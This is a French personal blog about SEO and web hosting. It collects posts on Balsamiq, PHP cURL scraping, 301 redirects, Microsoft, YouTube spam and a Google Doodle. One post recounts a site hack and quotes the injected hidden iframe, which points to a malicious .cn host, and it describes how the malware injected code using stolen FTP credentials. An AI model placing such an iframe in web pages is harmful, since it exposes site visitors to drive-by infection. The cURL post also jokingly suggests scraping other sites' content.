Créer un mock-up rapidement avec Balsamiq

Est-ce que cela vous est déjà arrivé de chercher à faire un design de site web de manière rapide et sommaire, mais efficace? Le plus souvent, vuos allez avoir recours à l’éternel crayon papier pour avoir la liberté totale. Si vous voulez une version électronique, vous allez vous essayer avec Gimp ou Photoshop (selon vos moyens) et assez vite vous arracher les cheveux avec l’interface.

Mais, maintenant, il y a une solution avec www.balsamiq.com, plus besoin de se prendre la tête à essayer de dessiner un calendrier, un champ de recherche, un champ vidéo … tout cela est déjà dessiné par défaut. Evidemment, vous n’allez pas vraiment pouvoir décider des couleurs et des détails de l’agencement, mais vous vous concentrez sur l’essentiel.

Je vous conseille franchement d’essayer, d’autant plus qu’on peut tout de même aller assez loin avec la version d’essai.

Google se plie à la justice

Quand je vois des titres comme Google forcé par la justice à dévoiler l’identité d’une blogueuse, je me dis : ouah, Google s’est plié à la justice et a révélé une partie de ses logs de son moteur de recherche pour livrer un méchant blogueur. Et je parie que la plupart des personnes voyant ce titre se dise : « J’avais bien raison de me méfier de Google ». Mais, il n’en est rien. En fait, il s’agit de Google, comme entreprise et non comme moteur de recherche parce qu’il s’agit de la plateforme de blogs Blogger (aka Blogspot). Et il est tout à fait logique que si quelqu’un poste publiquement des textes illégaux (diffamatoires en l’occurrence) que l’hébergeur livre les adresses IP.

Pour la petite histoire, moi-même en tant qu’hébergeur, j’ai eu une réquisition judiciaire me demandant quelques adresses IP, je me suis obtempéré. Et je n’ai pas l’impression d’avoir mal fait. Si la justice le demande, c’est qu’ils veulent enquêter. Je ne crois pas que ce soit le rôle de l’hébergeur de bloquer la justice à ce niveau.

Librairie PHP Curl : comment créer des outils SEO en quelques heures

Je viens de découvrir ce week-end l’existence d’une librairire PHP que je ne connaissais pas : Curl. En deux mots, cette librairie vous permet de simuler l’envoi d’un header et de récupérer les données pour les traiter ensuite. C’est bien plus efficace que l’usual file_get_contents car on peut spécifier quel header on peut envoyer et donc il y a beaucoup moins de chance d’être bloqué par les serveurs.

Installation

Rien de plus simple. Comme toute bonne librairie php, un petit apt-get install php5-curl puis un reboot d’Apache pour être bien sûr et le tour est joué. Un phpinfo() me confirme que Curl est bien installé.

Utiliser Curl

En fait, il existe assez peu de fonction dans Curl et elles sont bien documentées dans la doc officielle. La fonction principale est curl_setopt. Vous pouvez ajouter ainsi différentes options à votre recopiage (vol de contenu). La principale option que je vous recommande est CURLOPT_RETURNTRANSFER qui, par défaut est à FALSE et donc au lieu d’enregistrer la page web, l’affiche. Ce n’est pas le comportement que j’attendais. Je n’ai pas encore réussi à utiliser Curl uniquement côté serveur, style en cgi et donc à chaque fois que je lance un crawl, la page met trois heures à charger. Pas très pratique…

Idées d’utilisation

  • Outils d’analyse de backlinks
  • Vérification des positions sur Google
  • Récupération automatique de listes de mots-clés à partir de Suggets, Adwords suggestion …
  • Génération automatique de texte à partir d’autres sites… mmm that sounds black-hat ;)

Comment je me suis fait hacker

Cela fait plus d’un mois que je n’ai pas écrit sur le blog. J’ai pas mal de raisons pour cela: vacances, beau temps, changement de pays, changement de boulot et … le hacking.

Petit historique:

Avertissement Chrome : site prejudiciable

- Il y a quelques mois, je clique sur une pub Adwords. Chrome m’indique que le site peut infecter mon ordinateur. Je me dis naïvement : « Oh, c’est bon, j’en vois des dizaines de sites comme ça tous les jours. Cela va être un popup qui me fait croire que j’ai un virus. Il suffit juste que je ne clique pas sur exécuter, je connais la procédure ».  Mais sans rien cliquer, je vois que plein de popup pour des faux antivirus apparaissent, mais pas des fenêtres de navigateurs; de vrais logiciels,… bref j’étais infecté. Après quelques bonnes heures à passer plusieurs antivirus (j’utilisais Nod32 à l’époque), je réussis à nettoyer l’infection. Ou en tout cas, l’infection semble relativement disparue, même si j’ai encore quelques alertes régulières quand je démarre mon PC.  Dans un coin de ma tête, je me dis qu’il faut que je réinstalle Windows un de ces jours, mais je m’arrête là.

-Fin juin (donc plusieurs mois après cette infection), ma compagne me dit que notre site a une page d’erreur sur la page d’accueil et qu’elle a réuploadé la page index.php . Aussitôt, cela me met une grosse puce à l’oreille puisque je n’ai pas uploadé le fichier index depuis plusieurs mois. Bref, si erreur il y a, intrusion il y a aussi. Après vérification, je découvre le pot aux roses. Ma page index.php avait été modifié, à la barbare. Une petite ligne avait été ajouté dans le code php :

<iframe src="http://globalmixgroup.cn :8080/ts/in.cgi?pepsi65" width=125 height=125 style="visibility: hidden"></iframe>

Evidemment,cela entrainait une erreur lors de l’affichage de la page puisque les fonctions php étaient coupées au milieu.

Après quelques tests, je me suis rendu compte que le hacker avait accès à mes comptes ftp enregistrés sur Filezilla. En attendant de pouvoir réinstaller Windows,  j’ai donc fermé tout accès ftp sur l’ensemble des sites hébergés sur mon serveur. Voici , en tout cas, ce que j’ai pu remarquer du comportement du virus:

  • Il regarde, dans tous les sous-répertoires, tous les fichiers index (.php / .html ) ainsi que les fichiers comportant le mot-clé default.
  • Dans ces fichiers, il vérifie s’il y a la balise <body> et ajoute à la suite une iframe externe pointant vers un .cn ou vers un .info. S’il ne trouve pas la balise <body>, il supprimera les derniers caractères de la page et ajoutera l’iframe même si le fichier est en php et non en html.

Bref, cela m’a fait perdre de nombreuses heures, surtout que j’ai eu des problèmes en réinstallant Windows, mais ça, c’est une autre histoire

OVH à poil…

Vous rappelez-vous Romain Mesnil et son buzz « j’ai une longue perche et je cours à poil dans Paris » ? Il avait annoncé avoir trouvé un sponsor mais n’avait pas dit qui c’était. Je pensais naïvemenent que ce serait un truc style Unibet, CheapCasinoOnLine, … Mais, que nenni, c’est bel et bien OVH, le célèbre hébergeur qui s’est payé le perchiste en créant une vidéo « buzzesque ».  Ce n’est pas très original, ce ne sont pas les premiers à utiliser le concept : « à poil et sur youtube », mais, le sexe, cela marche toujours… Donc, voici la vidéo:

Est-ce efficace pour le référencement?

Faisons une petite recherche sur Google News, on trouve 11 résultats à la requête OVH Mesnil. Ce n’est pas énorme. Mais, regardons un peu sur Google blogsearch, Google nous annonce 3514 résultats, qui ne sont finalement que sur 116 différents blogs. Pour savoir si ce genre de buzz valait le coup, je me suis amusé à prendre les 11 résultats de Google News et de regarder le genre de liens.  Au final, sur les 11 liens, seul 2 font un lien direct vers Ovh, avec seulement l’ancre ovh ou ovh.com. Ce n’est pas beaucoup, mais ce n’est sans doute pas le plus important puisque les medias off-line ont beaucoup repris l’information. Exemple, sur france 3 avec

Au final, ce buzz rapportera sans doute plus de notoriété grand public que de PageRank, stricto senu

Première visite venant de Google

Pour un blog sur le SEO, n’avoir encore reçu qu’une seule visite venant de moteur de recherche, c’est un peu un comble. Mais, comme je n’ai parlé de ce blog qu’à une poignée d’amis et collègues, je ne suis pas étonné. C’est déjà assez étrange que Google ait réussi à indexer le domaine alors que je n’avais absolument aucun lien entrant!

Qui a visité mon blog?

Quand on ne reçoit qu’une seule visite, on peut vraiment avoir beaucoup (trop) de détails rien qu’en utilisant Analytics. Donc, il a cherché sur Google liste adjectif + seo webmaster. Il (ou elle?) vient de Maubeuge, a une résolution de 1152*864 et utilise Firefox sous Windows. Il a des yeux marrons et mange des Special K tous les matins… Bon, j’en rajoute un peu, ok…

Je vais commencer au fur à mesure à me faire un peu connaître, mais j’attends déjà de ne plus être sous contrat avec mon entreprise actuelle, ce sera plus simple… Objectif : avoir une deuxième visite ;-)

Bilan sur la nouvelle version de litterales.com

Il y a un mois, j’ai totalement changé mon site litterales.com ; j’ai refait toute l’interface, et repensé entièrement la navigation. Évidemment, j’ai dû aussi changer toute la structure d’url. Je ne suis pas né de la dernière pluie, donc, j’ai mis quelques mots clés dans l’url, j’ai bien fait attention à éviter le duplicate content en ayant des critères normalisés pour l’url rewriting. Dans l’ancienne version, je mettais un peu n’importe quoi parfois, ce qui avait pour conséquence d’avoir plusieurs urls différentes pour une même page; bref, ce n’était pas génial du tout pour le passage du Page Rank.

Toutefois, malgré toutes mes précautions, je me suis un peu précipité. Oui, je voulais que le site soit prêt avant les révisions du bac. Donc, j’ai fait mes redirections 301 trop rapidement. Ainsi, j’ai redirigé la page /document_francais__ecrivain-Balzac.html vers/recherche-document–Balzac.html. Cela paraissait pratique. Dans la première version, je n’avais en effet pas mis l’identifiant de la table dans l’url (très stupide, je sais) et c’était donc assez énervant d’être obligé de rechercher l’id pour ensuite rediriger vers la bonne page; je m’étais dit naïvement : « l’utilisateur pourra trouver la page facilement ». En fait, la page de destination ayant moins de contenu intéressant, je suis assez vité arrivé dans les choux pour les mots clés sur les auteurs, « commentaire composé balzac » par exemple. Je me suis alors décidé à prendre le code à deux mains et à faire une petite page de redirection intemédiaire qui entre deux redirections 301 va tout simplement attraper l’id dont j’avais besoin et rediriger vers la bonne page.

Ainsi, /document_francais__ecrivain-Balzac.html redirige vers /rewrite–$1–auteur qui lui-même redirige vers /auteur–32-_-Balzac.html et assez vite (une dizaine de jours), j’ai retrouvé ma première position sur « explication de texte baudelaire », « dissertation voltaire » et mes visites sont remontées.

En conclusion:

  • Toujours bien gérer ses redirections 301. Même si cela prend un peu de temps, … cela vaut le coup!
  • Bien penser son url rewriting dès le début en mettant toujours dans l’url, l’id que vous voulez chercher…

Ah, et dernière chose, j’ai récupéré mes sitelinks hier :) Tout est donc rentré dans l’ordre. Ouf!

Les méthodes douteuses de Microsoft

Coup sur coup, deux petites news m’ont interpelé sur les techniques de vente forcée de Microsoft.

IE6 et Bing

Hier, Microsoft a confirmé qu’un bug obligeait les losers utilisateurs sous IE6 à avoir Bing comme moteur de recherche par défaut. Quand on sait qu’il reste au moins 10% des utilisateurs sous IE6, cela fait une bonne part du gâteau et un petit coup de boost pour le nouveau moteur. Apparemment, le bug a déjà été corrigé. Mais, je trouve que le mal est déjà fait.

Firefox et Window

Extensions .Net de Firefox

Extensions .Net de Firefox

Cette fois, c’est avec Firefox que Microsoft s’est amusé. On pensait pourtant que Firefox était à l’abri des astuces douteuses de Windows. En effet, avec la dernière mise à jour de Windows, une extension Firefox appelée Microsoft .Net Framework Assistant 1.0 a été installé en douce, sans rien demander. Il n’est même pas possible de la désinstaller. Le seul moyen est de passer par la base de registre. On dirait que Microsoft a changé cela avec encore une mise à jour.  Au delà de la dangerosité ou non de cet add-on, c’est la méthode qui m’énerve. Qu’un système d’exploitation se permette de modifier un logiciel tiers sans rien demander, c’est vraiment dangereux…. Je remarque que cet add-on a même été installé sur mon Firefox Portable qui n’a pourtant aucune inscription dans la base de registre.

En conclusion, une petite note pour moi-même : installer Linux, … et rapidement.

Le porno et Youtube.

Le weeLe Porn Day a envahi YouTubek end dernier, une attaque d’envergure a été menée contre Youtube.  Apparemment, le forum 4Chan, mécontent de la suppression de nombreuses vidéos ces derniers temps sur Youtube ont décidé d’uploader en masse plein de vidéos porno. Je ne vais pas discuter du bien-fondé de l’action. Il est vrai qu’on trouve du porno un peu partout sur Internet. Mais, comme dirait la pub, « ce n’est pas la peine d’en rajouter ».

Ce que je voudrais mentionner c’est la facilité avec laquelle Youtube semble être spammé. On peut en effet, trouver, avec une simple requête « beurette » de nombreuses vidéos, franchement douteuses et qui ne semblent pas être automatiquement effacés. Respam-youtube1gardez le screenshot à droite, cela fait plus de deux mois que la vidéo est uploadée. Bon alors, certes, ce ne sont pas des vidéos directement porno, juste des sortes de mise en bouche, si j’ose dire ;) En tout cas, youtube ferait mieux de monitorer plus ce genre de queries au risque de se retrouver comme une sorte de bordel géant. Oui, dans les deux sens du terme !

Doodle spécial Jordanie

jordannational09

Juste un petit post pour vous faire part du premier Doodle pour la Jordanie à l’occasion de l’anniversaire de l’indépendance du pays!  J’aimerais bien être le premier site à appraître dans les résulats pour Jordan Independence Day… Visible sur http://www.google.jo/